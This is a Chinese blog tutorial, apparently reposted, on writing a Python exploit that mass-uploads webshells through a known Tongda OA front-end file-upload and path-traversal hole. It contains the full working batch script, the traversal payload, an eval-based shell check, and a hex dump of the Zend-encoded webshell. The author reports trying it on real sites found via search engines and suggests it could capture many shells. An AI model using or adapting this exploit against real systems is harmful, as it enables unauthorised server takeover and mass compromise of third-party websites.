python open 函数漏洞_Python系列之——编写已知漏洞exp实现批量getshell

作者:奶权

前面一篇Python系列之——zzcms漏洞挖掘到exp编写相信大家应该都读过了

大家应该都觉得用程序实现自动化漏洞利用很爽吧

今天就来教一下大家怎么通过已知的漏洞编写exp

0x01 漏洞分析

以通达OA前台getshell为例(漏洞来自90sec论坛)

论坛给出的exp讲人话就是 post一个文件、'type=addfile'和'other=}/../../../../{22'到'pda/apps/report/getdata.php'

变成代码就是

uploadFile = {'ATTACHMENT':open('shell.php','rb')} #需要zend加密后的php文件uploadData = {'type':'addfile','other':'}/../../../../{22'}

0x02 exp编写

接着就发送请求且判断shell是否被安全狗等waf杀掉

try:res = requests.post(website + '/pda/apps/report/getdata.php',files=uploadFile,data=uploadData) testData = {'nq':'echo 'You got a shell!';'} #利用一句话里面的eval函数输出一段话用于判断shell可用性r = requests.post(shellPath,data=testData) if r.status_code == 200 and 'You got a shell!' in r.text:print shellPathopt2File(shellPath)

加上各种条件判断和异常处理后

def runGetshellExp(website):uploadFile = {'ATTACHMENT':open('shell.php','rb')}uploadData = {'type':'addfile','other':'}/../../../../{22'}try:r = requests.get(website)except:print 'Can\'t visit' + websitereturntry:res = requests.post(website + '/pda/apps/report/getdata.php',files=uploadFile,data=uploadData)uploadResp = json.loads(res.text)if uploadResp[0]['src'] is not None and uploadResp[0]['res'] == 'true':shellPath = website + '/{22}_shell.php'testData = {'nq':'echo 'You got a shell!';'}r = requests.post(shellPath,data=testData)print r.textif r.status_code == 200 and 'You got a shell!' in r.text:print shellPathopt2File(shellPath)except:print website + ' Can\'t getshell'return

然后写入文件的函数= =(又写这个函数了)

def opt2File(shellPath):try:f = open('result.txt','a')f.write(shellPath + '\n')finally:f.close()

完整代码

#coding:utf-8import requestsimport jsondef opt2File(shellPath):try:f = open('result.txt','a')f.write(shellPath + '\n')finally:f.close()def runGetshellExp(website):uploadFile = {'ATTACHMENT':open('shell.php','rb')}uploadData = {'type':'addfile','other':'}/../../../../{22'}try:r = requests.get(website)except:print 'Can\'t visit' + websitereturntry:res = requests.post(website + '/pda/apps/report/getdata.php',files=uploadFile,data=uploadData)uploadResp = json.loads(res.text)if uploadResp[0]['src'] is not None and uploadResp[0]['res'] == 'true':shellPath = website + '/{22}_shell.php'testData = {'nq':'echo 'You got a shell!';'}r = requests.post(shellPath,data=testData)print r.textif r.status_code == 200 and 'You got a shell!' in r.text:print shellPathopt2File(shellPath)except:print website + ' Can\'t getshell'returnwebsiteList = ['http://localhost:8080/', #站点列表]for i in websiteList:runGetshellExp(i)

0x03 小试牛刀

本地搭建了个demo试了一下

又去Google了一些站点来试试脚本

搜索引擎关键字我就不公布了 大家自己找吧

要是关键字找得好一点的话估计是可以拿一大波shell的

但请各位知友们还是点到为止 不要浪哟

0x04 附录

Zend加密后的shell.php(与脚本放同个目录下 密码:nq)

3c3f 7068 7020 405a 656e 643b 0a33 3037343b 0a2f 2a20 0001 f121 5468 6973 20697320 6e6f 7420 6120 7465 7874 2066 696c6521 deed 0020 202a 2f0a 7072 696e 74203c3c 3c45 4f4d 0a3c 2144 4f43 5459 50452048 544d 4c20 5055 424c 4943 2022 2d2f2f57 3343 2f2f 4454 4420 4854 4d4c 20342e30 2054 7261 6e73 6974 696f 6e61 6c2f2f45 4e22 3e3c 4854 4d4c 3e3c 4845 41443e3c 2f48 4541 443e 3c42 4f44 5920 4c414e47 3d22 656e 2d55 5322 2044 4952 3d224c54 5222 3e3c 4832 2041 4c49 474e 3d43454e 5445 523e 5a65 6e64 2047 7561 72642052 756e 2d74 696d 6520 7375 7070 6f727420 6d69 7373 696e 6721 3c2f 4832 3e3c503e 4f6e 6520 6d6f 7265 206d 6f72 65206669 6c65 7320 6f6e 2074 6869 7320 77656220 7369 7465 2077 6572 6520 656e 636f6465 6420 6279 203c 4120 4852 4546 3d226874 7470 3a2f 2f77 7777 2e7a 656e 642e636f 6d2f 7072 6f64 7563 7473 2f67 75617264 223e 5a65 6e64 4775 6172 643c 2f413e20 616e 6420 7468 6520 7265 7175 69726564 2072 756e 2d74 696d 6520 7375 70706f72 7420 6973 206e 6f74 2069 6e73 74616c6c 6564 206f 7270 726f 7065 726c 7920636f 6e66 6967 7572 6564 2e3c 2f50 3e3c4833 3e46 6f72 2074 6865 2057 6562 20736974 6520 7573 6572 3c2f 4833 3e3c 503e5468 6973 206d 6561 6e73 2074 6861 74207468 6973 2057 6562 2073 6572 7665 72206973 206e 6f74 2063 6f6e 6669 6775 72656420 636f 7272 6563 746c 7920 746f 2072756e 7468 6520 6669 6c65 7320 7468 61742069 7420 636f 6e74 6169 6e73 2e20 506c6561 7365 2063 6f6e 7461 6374 2074 68652057 6562 2073 6974 6527 7361 646d 696e6973 7472 6174 6f72 2f77 6562 6d61 73746572 2061 6e64 2069 6e66 6f72 6d20 7468656d 206f 6620 7468 6973 2070 726f 626c656d 2061 6e64 2067 6976 6520 7468 656d7468 6520 5552 4c20 796f 7520 6172 65207472 7969 6e67 2074 6f20 6469 7370 6c617920 746f 2068 656c 7020 7468 656d 20696e20 6469 6167 6e6f 7369 6e67 2074 68657072 6f62 6c65 6d2e 3c2f 503e 3c48 333e466f 7220 5468 6520 5369 7465 2041 646d696e 6973 7472 6174 6f72 2f57 6562 204d6173 7465 723c 2f48 333e 3c50 3e4f 6e65206f 7220 6d6f 7265 2066 696c 6573 206f6e20 796f 7572 2073 6974 6520 7765 72652065 6e63 6f64 6564 2077 6974 6820 5a656e64 2047 7561 7264 2e20 5468 6973 6d617920 6265 2074 6869 7264 2070 6172 7479206c 6962 7261 7269 6573 2074 6861 74207765 7265 2070 726f 7669 6465 6420 746f2079 6f75 2062 7920 616e 2049 5356 2e20546f 616c 6c6f 7720 7468 6573 6520 66696c65 7320 746f 2070 726f 7065 726c 79207275 6e20 796f 7520 6e65 6564 2074 6f20646f 776e 6c6f 6164 2061 6e64 2069 6e737461 6c6c 6f6e 6520 6f66 2074 6865 205a656e 6420 6775 6172 6420 7275 6e2d 74696d65 206c 6962 7261 7269 6573 2e20 54686973 2069 7320 6569 7468 6572 205a 656e644f 7074 696d 697a 6572 206f 7220 5a656e64 204c 6f61 6465 722e 2054 6865 2070726f 7065 7220 6669 6c65 7320 6361 6e206265 2064 6f77 6e6c 6f61 6465 6420 66726f6d 3c41 2048 5245 463d 2268 7474 703a2f2f 7777 772e 7a65 6e64 2e63 6f6d 2f677561 7264 2f64 6f77 6e6c 6f61 6473 223e6874 7470 3a2f 2f77 7777 2e7a 656e 642e636f 6d2f 6775 6172 642f 646f 776e 6c6f6164 733c 2f41 3e2e 5468 6973 2073 6f667477 6172 6520 6973 2070 726f 7669 64656420 6672 6565 206f 6620 6368 6172 67652e3c 2f50 3e3c 503e 3c42 3e47 656e 6572616c 2044 6973 636c 6169 6d65 723a 3c2f423e 205a 656e 6420 5465 6368 6e6f 6c6f6769 6573 2069 7320 6e6f 7420 7265 73706f6e 7369 626c 6520 746f 7468 6520 636f6e66 6967 7572 6174 696f 6e20 616e 64207365 7475 7020 6f66 2077 6562 2073 69746573 2075 7369 6e67 205a 656e 6420 47756172 6420 7465 6368 6e6f 6c6f 6779 2e506c65 6173 6520 636f 6e74 6163 7420 796f7572 2073 6f66 7477 6172 6520 7665 6e646f72 2069 6620 7468 6573 6520 636f 6d706f6e 656e 7473 2077 6572 6520 7072 6f766964 6564 6279 2061 6e20 4953 5620 6f722063 6f6e 7375 6c74 2079 6f75 7220 5a656e64 2047 7561 7264 2055 7365 7273 20477569 6465 2069 6620 7468 6573 6520 66696c65 7320 7765 7265 656e 636f 6465 64206279 2079 6f75 7220 6f72 6761 6e69 7a617469 6f6e 2e3c 2f50 3e3c 2f42 4f44 593e3c2f 4854 4d4c 3e0a 454f 4d3b 0a65 78697428 293b 0a5f 5f68 616c 745f 636f 6d70696c 6572 2829 3b0a 3f3e 0a0a 0b32 30303430 3732 3230 3300 0636 3535 3431 00043136 3300 0432 3732 0078 f90a 9f32 0c0315fe 51a9 7929 0aae 79a0 8aa6 0858 996626e6 40bc 0651 cc6d 6862 6e6e 686a 686c6e04 641b 189b 1999 9a59 020b 1470 8320a534 37b7 522f 3125 a508 5aaf 3370 191a9b18 199a 9b1b 814b 4290 5590 961e 38c73042 430a 9ab4 2fb0 4003 10e2 3cb0 98b20ad0 992c d0d4 c300 7188 2c07 588d 11b25ea8 4f8c 19d8 a091 131f e01f 1c02 f212a444 05e2 bc42 3017 961c 419c ff0c f0a08406 a8ae 210a 1f00 d564 21d7

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值